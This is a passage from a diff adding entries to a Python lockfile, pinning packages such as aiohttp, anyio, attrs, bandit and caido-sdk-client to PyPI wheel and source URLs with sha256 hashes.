+ { url = "https://files.pythonhosted.org/packages/f2/1e/fbeb7af9210a67ac0f9c9bec0f8f4568497924e33137a3d5b48e1cf85f3f/aiohttp-3.14.1-cp314-cp314-win32.whl", hash = "sha256:a9875b46d910cff3ea2f5962f9d266b465459fe634e22556ab9bd6fc1192eea0", size = 457773, upload-time = "2026-06-07T21:08:46.168Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/2b/13e8d741a9ec5db7d900c060554cf8352ab85e44e2a4469ebb9d377bda17/aiohttp-3.14.1-cp314-cp314-win_amd64.whl", hash = "sha256:af8b4b81a960eeaf1234971ac3cd0ba5901f3cd42eae42a46b4d089a8b492719", size = 485001, upload-time = "2026-06-07T21:08:48.401Z" },
+ { url = "https://files.pythonhosted.org/packages/df/30/491acfa2c4d6c3ff59c49a14fc1b50be3241e25bbb0c84c09e2da4d11395/aiohttp-3.14.1-cp314-cp314-win_arm64.whl", hash = "sha256:cf4491381b1b57425c315a56a439251b1bdac07b2275f19a8c44bc57744532ec", size = 453809, upload-time = "2026-06-07T21:08:50.7Z" },
+ { url = "https://files.pythonhosted.org/packages/34/e3/19dbe1a1f4cc6230eb9e314de7fe68053b0992f9302b27d12141a0b5db53/aiohttp-3.14.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:819c054312f1af92947e6a55883d1b66feefab11531a7fc45e0fb9b63880b5c2", size = 793320, upload-time = "2026-06-07T21:08:52.775Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/20/1b7182219ba1b108430d6e4dc53d25ae02dcfcf5a045b33af4e8c5167527/aiohttp-3.14.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:10ee9c1753a8f706345b22496c79fbddb5be0599e0823f3738b1534058e25340", size = 529077, upload-time = "2026-06-07T21:08:55Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/c8/14ce60ec31a2e5f5274bb17d383a6f7a3aabca31ac04eee05585bbadab16/aiohttp-3.14.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1601cc37baf5750ccacae618ec2daf020769581695550e3b654a911f859c563d", size = 532476, upload-time = "2026-06-07T21:08:57.176Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/02/9ac85e081e53da2e061b02fa7758fe0a12d17b8ce2d1f5e6c7cb76730328/aiohttp-3.14.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4d6e0ac9da31c9c04c84e1c0182ad8d6df35965a85cae29cd71d089621b3ae94", size = 1922347, upload-time = "2026-06-07T21:08:59.563Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/3e/d3ba07a0ab38b5389e10bec4362d21e10a4f667cba2d79ba30837b3a5059/aiohttp-3.14.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:9e8f2d660c350b3d0e259c7a7e3d9b7fc8b41210cbcc3d4a7076ff0a5e5c2fdc", size = 1786465, upload-time = "2026-06-07T21:09:01.909Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/cb/e2ee978a00cfb2df829704a69528b18154eba5939f45bc1efa8f33aee4c5/aiohttp-3.14.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4691802dda97be727f79d86818acaad7eb8e9252626a1d6b519fedbb92d5e251", size = 1909423, upload-time = "2026-06-07T21:09:04.357Z" },
+ { url = "https://files.pythonhosted.org/packages/73/5d/1430334858b1022b58ae50399a918f0bd6fe8fa7fa183598d657ff61e040/aiohttp-3.14.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c389c482a7e9b9dc3ee2701ac46c4125297a3818875b9c305ddb603c04828fd1", size = 2001906, upload-time = "2026-06-07T21:09:06.722Z" },
+ { url = "https://files.pythonhosted.org/packages/66/4e/560c7472d3d198a23aa5c8b19a5115bf6a9b77b7d3e4bb363da320430ad2/aiohttp-3.14.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fc0cacab7ba4e56f0f81c82a98c09bed2f39c940107b03a34b168bdf7597edd3", size = 1877095, upload-time = "2026-06-07T21:09:09.011Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/f1/4745806578d447db4a784a8591e2dae3afdfc2bcb96f8f81271b13df6543/aiohttp-3.14.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:979ed4717f59b8bb12e3963378fa285d93d367e15bcd66c721311826d3c44a6c", size = 1676222, upload-time = "2026-06-07T21:09:11.461Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/c9/48255813cca749a229ef0ab476004ec623728ad79a9c0840616f6c076325/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:38e1e7daaea81df51c952e18483f323d878499a1e2bfe564790e0f9701d6f203", size = 1842922, upload-time = "2026-06-07T21:09:14.118Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/c0/bbd054e2bee909f529523a5af3891052606af5143c09f5f183ec3b234676/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4132e72c608fe9fecb8f409113567605915b83e9bdd3ea56538d2f9cd35002f1", size = 1825035, upload-time = "2026-06-07T21:09:16.447Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/ae/90395d4376deceb74e09ec26b6adf7d2015a6f8802d6d84446af860fef04/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:eefd9cc9b6d4a2db5f00a26bc3e4f9acf71926a6ec557cd56c9c6f27c290b665", size = 1849512, upload-time = "2026-06-07T21:09:18.742Z" },
+ { url = "https://files.pythonhosted.org/packages/93/bd/fb25f3049957553d4ce0ba6ae480aa2f592a6985497fca590837d16c1be0/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:b165790117eea512d7f3fb22f1f6dad3d55a7189571993eb015591c1401276d1", size = 1668571, upload-time = "2026-06-07T21:09:21.458Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/22/7f73303d64dd567ff3addca90b556690ed1233a47b8f55d242fb90af3681/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:ed09c7eb1c391271c2ed0314a51903e72a3acb653d5ccfc264cdf3ef11f8269d", size = 1881159, upload-time = "2026-06-07T21:09:23.813Z" },
+ { url = "https://files.pythonhosted.org/packages/44/be/0474c5a8b5640e1e4aa1923430a91f4151be82e511373fe764189b89aef5/aiohttp-3.14.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:99abd37084b82f5830c635fddd0b4993b9742a66eb746dacf433c8590e8f9e3c", size = 1841409, upload-time = "2026-06-07T21:09:26.207Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/3c/bb4a7cba26956cb3da4553cc2056cf67be5b5ff6e6d8fa4fbdff73bfb7ae/aiohttp-3.14.1-cp314-cp314t-win32.whl", hash = "sha256:47ddf841cdecc810749921d25606dee45857d12d2ad5ddb7b5bd7eab12e4b365", size = 494166, upload-time = "2026-06-07T21:09:28.505Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/84/ec80c2c1f66a952555a9f86df6b33af65108a6febfa0471b69013a12f807/aiohttp-3.14.1-cp314-cp314t-win_amd64.whl", hash = "sha256:5e78b522b7a6e27e0b25d19b247b75039ac4c94f99823e3c9e53ae1603a9f7e9", size = 530255, upload-time = "2026-06-07T21:09:30.843Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/71/6e22be134a4061ada85a92951b842f2657f17d926b727f3f94c56ae963d6/aiohttp-3.14.1-cp314-cp314t-win_arm64.whl", hash = "sha256:90d53f1609c29ccc2193945ef732428382a28f78d0456ae4d3daf0d48b74f0f6", size = 469640, upload-time = "2026-06-07T21:09:33.028Z" },
+]
+
+[[package]]
+name = "aiosignal"
+version = "1.4.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "frozenlist" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/61/62/06741b579156360248d1ec624842ad0edf697050bbaf7c3e46394e106ad1/aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7", size = 25007, upload-time = "2025-07-03T22:54:43.528Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/fb/76/641ae371508676492379f16e2fa48f4e2c11741bd63c48be4b12a6b09cba/aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e", size = 7490, upload-time = "2025-07-03T22:54:42.156Z" },
+]
+
+[[package]]
+name = "altgraph"
+version = "0.17.5"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7e/f8/97fdf103f38fed6792a1601dbc16cc8aac56e7459a9fff08c812d8ae177a/altgraph-0.17.5.tar.gz", hash = "sha256:c87b395dd12fabde9c99573a9749d67da8d29ef9de0125c7f536699b4a9bc9e7", size = 48428, upload-time = "2025-11-21T20:35:50.583Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a9/ba/000a1996d4308bc65120167c21241a3b205464a2e0b58deda26ae8ac21d1/altgraph-0.17.5-py2.py3-none-any.whl", hash = "sha256:f3a22400bce1b0c701683820ac4f3b159cd301acab067c51c653e06961600597", size = 21228, upload-time = "2025-11-21T20:35:49.444Z" },
+]
+
+[[package]]
+name = "annotated-doc"
+version = "0.0.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" },
+]
+
+[[package]]
+name = "annotated-types"
+version = "0.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" },
+]
+
+[[package]]
+name = "anyio"
+version = "4.14.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "idna" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/3b/72/5562aabb8dd7181e8e860622a38bea08d17842b99ecd4c91f84ac95251b0/anyio-4.14.1.tar.gz", hash = "sha256:8d648a3544c1a700e3ff78615cd679e4c5c3f149904287e73687b2596963629e", size = 254831, upload-time = "2026-06-24T20:56:06.017Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b0/7b/90df4a0a816d98d6ea26f559d87836d494a2cf1fcf063be67df50a7bcc30/anyio-4.14.1-py3-none-any.whl", hash = "sha256:4e5533c5b8ff0a24f5d7a176cbe6877129cd183893f66b537f8f227d10527d72", size = 124875, upload-time = "2026-06-24T20:56:04.413Z" },
+]
+
+[[package]]
+name = "ast-serialize"
+version = "0.5.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/81/9d/09e27731bd5864a9ce04e3244074e674bb8936bf62b45e0357248717adac/ast_serialize-0.5.0.tar.gz", hash = "sha256:5880091bfe6f4f986f22866375c2e884843e7a0b6343ae41aeea659613d879b6", size = 61157, upload-time = "2026-05-17T17:48:29.429Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c0/9a/13dde51ba9e15f8b97957ab7cb0120d0e381524d651c6bd630b9c359227f/ast_serialize-0.5.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8f5c14f169eb0972c0c21bada5358b23d6047c76583b005234f865b11f1fa00a", size = 1183520, upload-time = "2026-05-17T17:47:30.831Z" },
+ { url = "https://files.pythonhosted.org/packages/37/de/5a7f0a9fe68944f536632a5af84676739c7d2582be42deb082634bf3a754/ast_serialize-0.5.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7d1a2de9de5be04652f0ed60738356ef94f66db37924a9499fffe98dc491aa0b", size = 1175779, upload-time = "2026-05-17T17:47:32.551Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/81/0bb853e76e4f6e9a1855d569003c59e19ffac45f7079d91505d1bb212f92/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:be5173fb66f9b49026d9d5a2ff0fc7c7009077107c0eb285b2d60fdf1fe10bd1", size = 1233750, upload-time = "2026-05-17T17:47:34.731Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/d3/4cf705beeccc08754d0bbda99aefff26110e209b9a07ac8a6b60eec48531/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f8015cd071ac1339924ee2b8098c93e00e155f30a16f40ec9816fcf84f4753f6", size = 1235942, upload-time = "2026-05-17T17:47:36.287Z" },
+ { url = "https://files.pythonhosted.org/packages/26/c8/ee097e437ea27dd2b8b227865c875492b585650a5802a22d82b304c8201b/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5499e8797edff2a9186aa313ed382c6b422e798e9332d9953badcee6e69a88f2", size = 1442517, upload-time = "2026-05-17T17:47:38.17Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/bd/68063442838f1ba68ec72b5436430bc75b3bb17a1a3c3063f09b0c05ae2b/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6848f2a093fb5548751a9a09bff8fcd229e2bbeb0e3331f391b6ae6d26cd9903", size = 1254081, upload-time = "2026-05-17T17:47:39.826Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e2/1e520793bc6a4e4524a6ab022391e827825eaa0c3811828bfdc6852eca26/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:832d4c998e0b091fd60a6d6bceee535483c4d490de9ba85003af835225719261", size = 1259910, upload-time = "2026-05-17T17:47:41.369Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/e1/49b60f467979979cfe6913b43948ff25bca971ad0591d181812f163a988e/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:16db7c62ec0b8efe1d7afd283a388d8f74f2605d56032e5a37747d2de8dba027", size = 1250678, upload-time = "2026-05-17T17:47:43.702Z" },
+ { url = "https://files.pythonhosted.org/packages/74/ba/66ab9555de6275677566f6574e5ef6c29cb185ea866f643bc06f8280a8ee/ast_serialize-0.5.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:baf5eb061eb5bccade4128ad42da33787d72f6013809cd1b590376ece8b3c937", size = 1301603, upload-time = "2026-05-17T17:47:46.256Z" },
+ { url = "https://files.pythonhosted.org/packages/66/42/6aca9b9abc710014b2be9059689e5dd1679339e78f567ffb4d255a9e2050/ast_serialize-0.5.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:104e4a35bd7c124173c41760ef9aaea17ddb3f86c65cb643671d59afbe3ee94c", size = 1410332, upload-time = "2026-05-17T17:47:47.899Z" },
+ { url = "https://files.pythonhosted.org/packages/47/68/2f76594432a22581ecf878b5e75a9b8601c24b2241cf0bbeb1e21fcf370c/ast_serialize-0.5.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:36be371028fc1675acb38a331bde160dbab7ff907fdf00b67eb6911aa106951b", size = 1509979, upload-time = "2026-05-17T17:47:50.942Z" },
+ { url = "https://files.pythonhosted.org/packages/40/ac/a93c9b58292653f6c595752f677a08e608f903b710594909e9231a389b3b/ast_serialize-0.5.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:061ee58bdb52341c8201a6df41182a977736bae3b7ded87ca7176ca25a8a47ab", size = 1505002, upload-time = "2026-05-17T17:47:54.093Z" },
+ { url = "https://files.pythonhosted.org/packages/14/2e/b278f68c497ee2f1d1576cbbef8db5281cd4a5f2db040537592ac9c8862e/ast_serialize-0.5.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:b15219e9cdc9f53f6f4cb51c009203507228226148c05c5e8fe451c28b435eb3", size = 1456231, upload-time = "2026-05-17T17:47:56.311Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/43/419be1c566a4c504cd8fd60ce2f84e790f295495c0f327cfaeadf3d51012/ast_serialize-0.5.0-cp314-cp314t-win32.whl", hash = "sha256:842d1c004bb466c7df036f95fabef789570541922b10976b12f5592a69cf0b38", size = 1058668, upload-time = "2026-05-17T17:47:58.305Z" },
+ { url = "https://files.pythonhosted.org/packages/03/6f/c9d4d549295ed05111aeb8853232d1afd9d0a179fddb01eeffbb3a4a6842/ast_serialize-0.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b0c06d760909b095cc466356dfccd05a1c7233a6ca191c020dca2c6a6f16c24c", size = 1101075, upload-time = "2026-05-17T17:48:00.35Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/8e/d00c5ab30c58222e07d62956fca86c59d91b9ad32997e633c38b526623a3/ast_serialize-0.5.0-cp314-cp314t-win_arm64.whl", hash = "sha256:787baedb0262cc49e8ce37cc15c00ae818e46a165a3b36f5e21ed174998104cb", size = 1075347, upload-time = "2026-05-17T17:48:01.753Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/9e/dc2530acb3a60dc6e46d65abf27d1d9f86721694757906a148d90a6860de/ast_serialize-0.5.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:0668aa9459cfa8c9c49ddd2163ebcf43088ba045ef7492af6fe22e0098303101", size = 1191380, upload-time = "2026-05-17T17:48:03.738Z" },
+ { url = "https://files.pythonhosted.org/packages/26/0a/bd3d18a582f273d6c843d16bb9e22e9e16365ff7991e92f18f798e9f1224/ast_serialize-0.5.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:bf683d6363edf2b39eed6b6d4fe22d34b6203867a67e27134d9e2a2680c4bc4a", size = 1183879, upload-time = "2026-05-17T17:48:05.463Z" },
+ { url = "https://files.pythonhosted.org/packages/40/ae/1f919100f8620887af58fcc381c61a1f218cdf89c6e155f87b213e61010a/ast_serialize-0.5.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9cc22cf0c9be65e71cf88fda130af60d61eb4a79370ad4cfe7900d48a4aa2211", size = 1244529, upload-time = "2026-05-17T17:48:07.008Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/ca/6376559dcce707cdbc1d0d9a13c8d3baaaa501e949ce0ebdc4230cd881aa/ast_serialize-0.5.0-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f66173891548c9f2726bf27957b41cabce12fa679dc6da505ddbde4d4b3b31cf", size = 1240560, upload-time = "2026-05-17T17:48:08.46Z" },
+ { url = "https://files.pythonhosted.org/packages/35/b2/a620e206b5aeb7efbf2710336df57d457cffbb3991076bbcc1147ef9abd4/ast_serialize-0.5.0-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e42d729ef2be96a14efbad355093284739e3670ece3e534f82cc8832790911d9", size = 1451172, upload-time = "2026-05-17T17:48:09.922Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/e0/4ad5c04c24a40481b2935ce9a0ccdb6023dc8b667167d06ae530cc3512f2/ast_serialize-0.5.0-cp39-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b725026bafa801dbd7310eb13a75f0a2e370e7e51b2cb225f9d21fcfadf919ee", size = 1265072, upload-time = "2026-05-17T17:48:11.469Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/71/4d1d479aa56d0101c40e17720c3d6ac2af7269ea0487a80b18e7bfd1a5b7/ast_serialize-0.5.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b54f60c1d78767a53b67eaa663f0dfac3afe606aa07f1301572f588b73d64809", size = 1270488, upload-time = "2026-05-17T17:48:13.575Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/4f/0de1bbe06f6edef9fde4ed12ca8e7b3ec7e6e2bd4e672c5af487f7957665/ast_serialize-0.5.0-cp39-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:27d51654fc240a1e87e742d353d98eb45b75f62f129086b3596ab53df2ac2a43", size = 1260702, upload-time = "2026-05-17T17:48:15.141Z" },
+ { url = "https://files.pythonhosted.org/packages/75/61/e00872439cfdddcc3c1b6cdaa6e5d904ba8e26a18807c67c4e14409d0ca8/ast_serialize-0.5.0-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c36237c46dd1674542f2109740ea5ea485a169bf1431939ada0434e17934", size = 1311182, upload-time = "2026-05-17T17:48:16.779Z" },
+ { url = "https://files.pythonhosted.org/packages/76/8e/699a5b955f7926956c95e9e1d74132acad73c2fe7a426f94da89123c20aa/ast_serialize-0.5.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1943db345233cc7194a470f13afa9c59772c0b123dea0c9414c4d4ca54369759", size = 1421410, upload-time = "2026-05-17T17:48:18.527Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/ae/d5b7626874478997adc7a29ab28accf21e596fb590c944290401dfd0b29e/ast_serialize-0.5.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:df1c00022cbbcb064bfaa505aa9c9295362443ce5dacb459d1331d3da353f887", size = 1516587, upload-time = "2026-05-17T17:48:20.133Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/ce/b59e02a82d9c4244d64cde502e0b00e83e38816abe19155ceb5437402c7f/ast_serialize-0.5.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:cae65289fc456fde04af979a2be09302ef5d8ab92ef23e596d6746dc267ada27", size = 1515171, upload-time = "2026-05-17T17:48:21.921Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/38/d8d90042747d05aa08d4efcf1c99035a5f670a6bf4c214d31644392afbca/ast_serialize-0.5.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:239a4c354e8d676e9d94631d1d4a64edc6b266f86ff3a5a80aedd344f342c01d", size = 1464668, upload-time = "2026-05-17T17:48:23.544Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/51/5b840c4df7334104cecffa28f23904fe81ca89ca223d2450e288de39fd3c/ast_serialize-0.5.0-cp39-abi3-win32.whl", hash = "sha256:143a4ef63285a075871908fda3672dc21864b83a8ec3ee12304aa3e4c5387b9a", size = 1068311, upload-time = "2026-05-17T17:48:25.027Z" },
+ { url = "https://files.pythonhosted.org/packages/41/11/ca5672c7d491825bc4cd6702dea106a6b60d928707712ec257c7833ae476/ast_serialize-0.5.0-cp39-abi3-win_amd64.whl", hash = "sha256:cf25572c526add400f26a4750dc6ce0c3bb93fc1f75e7ae0cad4ce4f2cd5c590", size = 1108931, upload-time = "2026-05-17T17:48:26.591Z" },
+ { url = "https://files.pythonhosted.org/packages/45/19/cc8bd127d28a43da249aa955cfd164cf8fd534e79e42cea96c4854d72fd0/ast_serialize-0.5.0-cp39-abi3-win_arm64.whl", hash = "sha256:92a31c9c20d25a076edaeec76b128a3535d74a24f340b9a8a7e96c9b86dc9642", size = 1081181, upload-time = "2026-05-17T17:48:28.122Z" },
+]
+
+[[package]]
+name = "attrs"
+version = "26.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 952055, upload-time = "2026-03-19T14:22:25.026Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 67548, upload-time = "2026-03-19T14:22:23.645Z" },
+]
+
+[[package]]
+name = "backoff"
+version = "2.2.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/47/d7/5bbeb12c44d7c4f2fb5b56abce497eb5ed9f34d85701de869acedd602619/backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba", size = 17001, upload-time = "2022-10-05T19:19:32.061Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/df/73/b6e24bd22e6720ca8ee9a85a0c4a2971af8497d8f3193fa05390cbd46e09/backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8", size = 15148, upload-time = "2022-10-05T19:19:30.546Z" },
+]
+
+[[package]]
+name = "bandit"
+version = "1.9.4"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "sys_platform == 'win32'" },
+ { name = "pyyaml" },
+ { name = "rich" },
+ { name = "stevedore" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/aa/c3/0cb80dfe0f3076e5da7e4c5ad8e57bac6ac357ff4a6406205501cade4965/bandit-1.9.4.tar.gz", hash = "sha256:b589e5de2afe70bd4d53fa0c1da6199f4085af666fde00e8a034f152a52cd628", size = 4242677, upload-time = "2026-02-25T06:44:15.503Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/05/a4/a26d5b25671d27e03afb5401a0be5899d94ff8fab6a698b1ac5be3ec29ef/bandit-1.9.4-py3-none-any.whl", hash = "sha256:f89ffa663767f5a0585ea075f01020207e966a9c0f2b9ef56a57c7963a3f6f8e", size = 134741, upload-time = "2026-02-25T06:44:13.694Z" },
+]
+
+[[package]]
+name = "caido-sdk-client"
+version = "0.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "caido-server-auth" },
+ { name = "gql", extra = ["aiohttp", "websockets"] },
+ { name = "pydantic" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/62/d7/5381d8d94fec799bec7004decbf33a4c5581a8374941fe784e730e01cf80/caido_sdk_client-0.2.0.tar.gz", hash = "sha256:39988fe07b3fa9c69adbd49662db660d7707d60d9245109b1623def97b39bac8", size = 57436, upload-time = "2026-04-12T22:25:12.084Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/30/ae/3530caa6a79bafb8049374ca09515686d98532aca73c4fdbd0f6e06de5c9/caido_sdk_client-0.2.0-py3-none-any.whl", hash = "sha256:bc573651681c093ee9663c7924d38d522a89cea60e2ce00d34ba9b02942b1da1", size = 96207, upload-time = "2026-04-12T22:25:11.168Z" },
+]
+
+[[package]]
+name = "caido-server-auth"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "gql", extra = ["aiohttp", "websockets"] },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/69/be/58cc2eaf97f729124b8939a9ea1c1a664b2d96dce0448788df073fca3ac9/caido_server_auth-0.1.2.tar.gz", hash = "sha256:eb2c25e9de15062760b68112f5d8e9ad63eeb1322518b90c1a0119a69a7524a4", size = 6559, upload-time = "2026-03-14T20:41:55.119Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/7b/14d192151bcc3c1624cfb488c59ec03e96c1009d015089d729c1aecd26e9/caido_server_auth-0.1.2-py3-none-any.whl", hash = "sha256:40c6cd3728e24cdff402c4efa5d8f55bf6e6cc73ac0169bdea1ad1e34faff8ff", size = 10197, upload-time = "2026-03-14T20:41:54.091Z" },
+]
+
+[[package]]
+name = "certifi"
+version = "2026.6.17"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" }
+wheels = [
